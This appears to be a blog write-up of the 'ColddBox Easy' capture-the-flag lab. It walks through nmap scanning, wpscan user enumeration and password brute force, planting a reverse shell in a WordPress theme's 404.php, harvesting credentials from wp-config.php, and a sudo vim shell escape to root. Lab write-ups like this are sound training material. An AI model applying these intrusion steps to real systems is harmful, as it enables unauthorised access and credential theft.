ColddBox Easy
Description
In this CTF, I was able to successfully exploit a WordPress server using a combination of tools and techniques. In this blog post, I will share my experience and provide insights on how I was able to get the initial foothold, escalate my privileges, and finally became root.
Scanning¶
-
Assigned IP address:
-
Open Ports:
PORT |
SERVICE |
DESCRIPTION |
---|---|---|
- Nmap Report:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
# Nmap 7.93 scan initiated Mon Feb 20 13:34:05 2023 as: nmap -sC -sV -O -oN nmap.txt 10.10.237.179 Nmap scan report for 10.10.237.179 Host is up (0.15s latency). Not shown: 999 closed tcp ports (reset) PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) |_http-generator: WordPress 4.1.31 |_http-server-header: Apache/2.4.18 (Ubuntu) |_http-title: ColddBox | One more machine 4512/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 4ebf98c09bc536808c96e8969565973b (RSA) | 256 8817f1a844f7f8062fd34f733298c7c5 (ECDSA) |_ 256 f2fc6c750820b1b2512d94d694d7514f (ED25519) No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ). TCP/IP fingerprint: OS:SCAN(V=7.93%E=4%D=2/20%OT=80%CT=1%CU=42564%PV=Y%DS=5%DC=I%G=Y%TM=63F36FE OS:8%P=aarch64-unknown-linux-gnu)SEQ(SP=103%GCD=1%ISR=10E%TI=Z%CI=I%II=I%TS OS:=8)OPS(O1=M505ST11NW7%O2=M505ST11NW7%O3=M505NNT11NW7%O4=M505ST11NW7%O5=M OS:505ST11NW7%O6=M505ST11)WIN(W1=68DF%W2=68DF%W3=68DF%W4=68DF%W5=68DF%W6=68 OS:DF)ECN(R=Y%DF=Y%T=40%W=6903%O=M505NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A= OS:S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q OS:=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A OS:%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y OS:%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T OS:=40%CD=S) Network Distance: 5 hops OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Mon Feb 20 08:04:40 2023 -- 1 IP address (1 host up) scanned in -19765.28 seconds
Enumeration¶
The first step in this process was to enumerate the webserver (WordPress) with its vulnerable plugins, themes, and users using wpscan.
User Enumeration
wpscan --url http://$IP -e u
After running this command, it returned c0ldd, philip, and hugo as usernames.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 |
|
I decided to brute force the usernames and passwords using wpscan's built-in feature.
Brute Force
wpscan --url $IP -U 'c0ldd,hugo,philip' -P /usr/share/seclists/Passwords/probable-v2-top12000.txt
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 |
|
Initial Access¶
Quickly, I directed to /wp-login.php
to verify login with the harvested credentials -- c0ld:REDACTED
After successfully logging in using the credentials for c0ldd
, I edited the 404.php file in the appearance tab of the themes section to add a reverse shell. This allowed me to get my initial foothold into the web server.
I opened a listener on another tab and then opened the 404.php file in my browser. As a result, I gained access to the server with the www-data
privilege.
Privilege Escalation¶
Gaining user access¶
As www-data, I didn't initially have access to any juicy information. However, I was able to run linpeas.sh, which helped me to find some credentials that were left in the wp-config.php file.
I copied the username and password and attempted to access the 3306
port that was running on 127.0.0.1
but had no luck. Finally, I tried using the same credentials to log in to the c0ldd
account. This was a success, and I was able to escalate my privilege from www-data
to c0ldd
.
Gaining root access¶
As c0ldd
, I ran sudo -l as I already knew his password. The output showed that Vim could be run as sudo.
With this knowledge, I was able to execute the command
Sudo Command
sudo vim -c ':!/bin/sh'
from GTFOBINS. This allowed me to edit a file that was owned by root, thereby giving me access to the root user. As a result, I was able to escalate my privilege once again and become root.